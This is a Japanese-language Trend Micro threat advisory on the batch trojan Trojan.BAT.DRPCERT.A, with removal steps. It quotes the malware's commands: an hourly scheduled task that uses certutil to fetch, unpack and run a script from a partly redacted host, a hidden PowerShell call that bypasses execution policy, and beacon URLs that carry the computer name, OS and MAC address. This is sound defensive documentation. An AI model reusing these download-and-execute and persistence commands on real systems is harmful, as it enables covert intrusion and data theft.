Trend Micro Security

Trojan.BAT.DRPCERT.A

2020年8月3日
 解析者: Paul Steven Nadera   

 別名:

Trojan.BAT.Agent.bcr (Kaspersky); Trojan:BAT/Donvibs (Microsoft); Downloader (Norton)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: トロイの木馬型
  • 破壊活動の有無: なし
  • 暗号化: はい
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、感染コンピュータや感染ユーザから特定の情報を収集します。


  詳細

ファイルサイズ 1,964 bytes
タイプ BAT
メモリ常駐 はい
発見日 2020年7月30日
ペイロード URLまたはIPアドレスに接続, 情報収集

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Certificate /tr "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)" /F
  • "%System%\getmac.exe" /FO CSV
  • powershell -nop -w hidden -ep bypass -e {base64 encoded commands}

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ルートキット機能

マルウェアは、ルートキット機能を備えていません。

ダウンロード活動

ただし、情報公開日現在、このWebサイトにはアクセスできません。

情報漏えい

マルウェアは、以下の情報を収集します。

  • Computer Name
  • Operating System Version
  • System Architecture (32-bit or 64-bit)
  • Mac Address of the infected machine

その他

マルウェアは、以下を実行します。

  • Connects to the following website(s) to download and execute powershell commands:
    • http://new.{BLOCKED}h.com/startup.php?ver=1&mac={MAC Address}&ver={OS Version}&bit={System Architecture}
    • http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name}

マルウェアは、脆弱性を利用した感染活動を行いません。

以下のスケジュールされたタスクを追加します:

  • Task Name: Certificate
  • Trigger(s): 7:00 AM of current date and repeats every 1 hour afterwards
  • Action: Execute command "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)"

<補足>
インストール

マルウェアは、以下のプロセスを追加します。

  • schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Certificate /tr "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={コンピュータ名} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)" /F
  • "%System%\getmac.exe" /FO CSV
  • powershell -nop -w hidden -ep bypass -e {base64でエンコードされたコマンド}

情報漏えい

マルウェアは、以下の情報を収集します。

  • コンピュータ名
  • オペレーティングシステム(OS)のバージョン
  • システムアーキテクチャ (32ビットまたは64ビット)
  • 感染コンピュータのMacアドレス

その他

マルウェアは、以下を実行します。

  • 以下のWebサイトに接続して、PowerShellコマンドをダウンロードして実行します。
    • http://new.{BLOCKED}h.com/startup.php?ver=1&mac={MACアドレス}&ver={OSのバージョン}&bit={システムアーキテクチャ}
    • http://cert.{BLOCKED}h.com/cert.php?ver1={コンピュータ名}

以下のスケジュールされたタスクを追加します:

  • タスク名: Certificate
  • トリガー: 現在の日付の午前7時以降、1時間毎に繰り返す
  • アクション: コマンドの実行 "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={コンピュータ名} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)"


  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 14.822.04
初回 VSAPI パターンリリース日 2019年2月18日
VSAPI OPR パターンバージョン 14.823.00
VSAPI OPR パターンリリース日 2019年2月19日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

スケジュールされたタスクを削除する

タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。  

  • Certificate - cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)

Windows 2000、Windows XP、Windows Server 2003の場合:

  1. [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
  2. 上記の{タスク名} を、[名前]の欄に入力します。
  3. 入力した{タスク名} 持つファイルを右クリックします。
  4. [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
  5. 上記の{実行するタスク}と文字列が一致するタスクを削除します。

Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:

  1. Windowsタスクスケジューラを開きます。
    • Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
    • Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。
  2. 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
  3. 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
  4. 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
  5. 文字列が一致するタスクを削除します。

手順 3

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.BAT.DRPCERT.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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